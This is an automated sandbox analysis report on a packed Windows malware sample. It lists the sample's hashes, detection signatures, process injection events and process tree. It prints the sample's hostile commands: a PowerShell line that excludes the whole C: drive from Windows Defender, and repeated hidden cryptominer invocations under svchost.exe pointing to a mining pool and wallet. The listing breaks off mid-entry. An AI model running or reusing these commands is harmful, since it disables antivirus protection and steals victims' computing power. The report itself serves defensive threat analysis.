d79e65eebfa27fd486fadee29b39f80e21ce499a01ded902ece56b2486aeb17e

Analysis

max time kernel
149s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 04:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe
Size 8.4MB
Sample260822-e4j4ssvxhs
SHA256 d79e65eebfa27fd486fadee29b39f80e21ce499a01ded902ece56b2486aeb17e
MD5 337c56b55cc88706d2dbbada1d845075
SHA1 e692636ecb4d09416782cecacb51b4ece60b30ee
SHA512 bc3341cdc35aad029a4ff32f3e85d5a198621ef0b880cdf9b2dbc3e778d4b10fc348c5d808ddb62686ce008d2cd3f837b479be7a054ba6b7249215e403cdb017
SSDEEP 196608:f6dqVP6WWVQiiBibAc4wIAyGh6/ETytSroM8fgdE/iA:S0Csi0ibANwIAyBayEV8fAQiA
TLSH
T1CD9633BF50F75D95E61BD2702F909890D77A9D244406993CB682FCEFAF4DA3113B202A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

execution upx

Malware Config

Signatures

UPX dump on OEP (original entry point) 18 IoCs

resource	yara_rule
behavioral2/memory/1196-0-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-28-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/2084-29-0x00007FF6C5930000-0x00007FF6C6112000-memory.dmp	UPX
behavioral2/memory/2084-32-0x00007FF6C5930000-0x00007FF6C6112000-memory.dmp	UPX
behavioral2/memory/1196-33-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-40-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-55-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-73-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-87-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-103-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-117-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-133-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-146-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-162-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-175-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-188-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-204-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX
behavioral2/memory/1196-217-0x00000000007F0000-0x0000000001A8F000-memory.dmp	UPX

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4100	powershell.exe

Suspicious use of SetThreadContext 60 IoCs

description	pid	Process	procid_target
PID 1196 set thread context of 2084	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	93
PID 1196 set thread context of 268	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	94
PID 1196 set thread context of 2252	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	95
PID 1196 set thread context of 3268	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	96
PID 1196 set thread context of 1440	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	97
PID 1196 set thread context of 5156	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	98
PID 1196 set thread context of 1328	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	99
PID 1196 set thread context of 4168	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	101
PID 1196 set thread context of 560	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	102
PID 1196 set thread context of 2940	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	103
PID 1196 set thread context of 952	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	104
PID 1196 set thread context of 2888	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	105
PID 1196 set thread context of 2152	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	106
PID 1196 set thread context of 5076	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	107
PID 1196 set thread context of 2332	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	108
PID 1196 set thread context of 4412	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	109
PID 1196 set thread context of 3496	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	110
PID 1196 set thread context of 3144	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	111
PID 1196 set thread context of 1916	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	112
PID 1196 set thread context of 1624	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	113
PID 1196 set thread context of 2032	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	114
PID 1196 set thread context of 2772	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	115
PID 1196 set thread context of 4456	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	116
PID 1196 set thread context of 4332	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	117
PID 1196 set thread context of 2764	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	118
PID 1196 set thread context of 4624	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	119
PID 1196 set thread context of 5536	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	120
PID 1196 set thread context of 5880	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	121
PID 1196 set thread context of 3096	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	122
PID 1196 set thread context of 2476	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	123
PID 1196 set thread context of 5260	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	124
PID 1196 set thread context of 4584	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	125
PID 1196 set thread context of 5740	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	126
PID 1196 set thread context of 2188	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	127
PID 1196 set thread context of 5412	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	128
PID 1196 set thread context of 5332	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	129
PID 1196 set thread context of 4368	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	130
PID 1196 set thread context of 3000	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	131
PID 1196 set thread context of 5824	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	132
PID 1196 set thread context of 920	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	133
PID 1196 set thread context of 3820	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	134
PID 1196 set thread context of 3164	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	135
PID 1196 set thread context of 3132	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	136
PID 1196 set thread context of 4952	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	137
PID 1196 set thread context of 4140	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	138
PID 1196 set thread context of 3768	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	139
PID 1196 set thread context of 4924	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	140
PID 1196 set thread context of 5656	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	141
PID 1196 set thread context of 2956	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	142
PID 1196 set thread context of 1116	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	143
PID 1196 set thread context of 5380	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	144
PID 1196 set thread context of 2920	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	145
PID 1196 set thread context of 4852	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	146
PID 1196 set thread context of 2484	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	147
PID 1196 set thread context of 1052	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	148
PID 1196 set thread context of 1604	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	149
PID 1196 set thread context of 2928	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	150
PID 1196 set thread context of 3888	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	151
PID 1196 set thread context of 5720	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	152
PID 1196 set thread context of 4144	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	153

UPX packed file 20 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1196-0-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/1196-28-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/2084-29-0x00007FF6C5930000-0x00007FF6C6112000-memory.dmp	upx
behavioral2/memory/2084-32-0x00007FF6C5930000-0x00007FF6C6112000-memory.dmp	upx
behavioral2/memory/1196-33-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/1196-40-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/1328-54-0x00007FF6C5930000-0x00007FF6C6112000-memory.dmp	upx
behavioral2/memory/1196-55-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/560-62-0x00007FF6C5930000-0x00007FF6C6112000-memory.dmp	upx
behavioral2/memory/1196-73-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/1196-87-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/1196-103-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/1196-117-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/1196-133-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/1196-146-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/1196-162-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/1196-175-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/1196-188-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/1196-204-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx
behavioral2/memory/1196-217-0x00000000007F0000-0x0000000001A8F000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	5	Go-http-client/1.1

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4100	powershell.exe
4100	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeIncreaseQuotaPrivilege	4100	powershell.exe
Token: SeSecurityPrivilege	4100	powershell.exe
Token: SeTakeOwnershipPrivilege	4100	powershell.exe
Token: SeLoadDriverPrivilege	4100	powershell.exe
Token: SeSystemProfilePrivilege	4100	powershell.exe
Token: SeSystemtimePrivilege	4100	powershell.exe
Token: SeProfSingleProcessPrivilege	4100	powershell.exe
Token: SeIncBasePriorityPrivilege	4100	powershell.exe
Token: SeCreatePagefilePrivilege	4100	powershell.exe
Token: SeBackupPrivilege	4100	powershell.exe
Token: SeRestorePrivilege	4100	powershell.exe
Token: SeShutdownPrivilege	4100	powershell.exe
Token: SeDebugPrivilege	4100	powershell.exe
Token: SeSystemEnvironmentPrivilege	4100	powershell.exe
Token: SeRemoteShutdownPrivilege	4100	powershell.exe
Token: SeUndockPrivilege	4100	powershell.exe
Token: SeManageVolumePrivilege	4100	powershell.exe
Token: 33	4100	powershell.exe
Token: 34	4100	powershell.exe
Token: 35	4100	powershell.exe
Token: 36	4100	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1196 wrote to memory of 4100	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	89
PID 1196 wrote to memory of 2084	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	93
PID 1196 wrote to memory of 2084	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	93
PID 1196 wrote to memory of 2084	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	93
PID 1196 wrote to memory of 2084	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	93
PID 1196 wrote to memory of 268	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	94
PID 1196 wrote to memory of 268	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	94
PID 1196 wrote to memory of 268	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	94
PID 1196 wrote to memory of 268	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	94
PID 1196 wrote to memory of 2252	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	95
PID 1196 wrote to memory of 2252	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	95
PID 1196 wrote to memory of 2252	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	95
PID 1196 wrote to memory of 2252	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	95
PID 1196 wrote to memory of 3268	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	96
PID 1196 wrote to memory of 3268	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	96
PID 1196 wrote to memory of 3268	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	96
PID 1196 wrote to memory of 3268	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	96
PID 1196 wrote to memory of 1440	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	97
PID 1196 wrote to memory of 1440	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	97
PID 1196 wrote to memory of 1440	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	97
PID 1196 wrote to memory of 1440	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	97
PID 1196 wrote to memory of 5156	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	98
PID 1196 wrote to memory of 5156	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	98
PID 1196 wrote to memory of 5156	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	98
PID 1196 wrote to memory of 5156	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	98
PID 1196 wrote to memory of 1328	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	99
PID 1196 wrote to memory of 1328	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	99
PID 1196 wrote to memory of 1328	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	99
PID 1196 wrote to memory of 1328	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	99
PID 1196 wrote to memory of 4168	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	101
PID 1196 wrote to memory of 4168	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	101
PID 1196 wrote to memory of 4168	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	101
PID 1196 wrote to memory of 4168	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	101
PID 1196 wrote to memory of 560	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	102
PID 1196 wrote to memory of 560	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	102
PID 1196 wrote to memory of 560	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	102
PID 1196 wrote to memory of 560	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	102
PID 1196 wrote to memory of 2940	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	103
PID 1196 wrote to memory of 2940	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	103
PID 1196 wrote to memory of 2940	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	103
PID 1196 wrote to memory of 2940	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	103
PID 1196 wrote to memory of 952	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	104
PID 1196 wrote to memory of 952	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	104
PID 1196 wrote to memory of 952	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	104
PID 1196 wrote to memory of 952	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	104
PID 1196 wrote to memory of 2888	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	105
PID 1196 wrote to memory of 2888	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	105
PID 1196 wrote to memory of 2888	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	105
PID 1196 wrote to memory of 2888	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	105
PID 1196 wrote to memory of 2152	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	106
PID 1196 wrote to memory of 2152	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	106
PID 1196 wrote to memory of 2152	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	106
PID 1196 wrote to memory of 2152	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	106
PID 1196 wrote to memory of 5076	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	107
PID 1196 wrote to memory of 5076	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	107
PID 1196 wrote to memory of 5076	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	107
PID 1196 wrote to memory of 5076	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	107
PID 1196 wrote to memory of 2332	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	108
PID 1196 wrote to memory of 2332	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	108
PID 1196 wrote to memory of 2332	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	108
PID 1196 wrote to memory of 2332	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	108
PID 1196 wrote to memory of 4412	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	109
PID 1196 wrote to memory of 4412	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	109
PID 1196 wrote to memory of 4412	1196	2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe	109

C:\Users\Admin\AppData\Local\Temp\2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-22_337c56b55cc88706d2dbbada1d845075_hive.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4100
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2084
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:268
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2252
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:3268
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:1440
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:5156
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:1328
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:4168
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:560
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2940
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:952
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2888
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2152
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:5076
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2332
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:4412
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:3496
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:3144
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:1916
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:1624
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2032
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2772
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:4456
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:4332
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe --donate-level 0 --max-cpu-usage 25 -o pool.hashvault.pro:80 -u 49g6oprDBgKAvQ5ZjDSv2z9qhBqp5BFNK2jveMQkKNU8jQetSUwAB4MdTYvVbuKHG3eFFBkSXYHzPbXxsCaofTiTHmMkjio.XMRR
  2⤵
  PID:2764
- C:\Windows\System32\svchost.exe
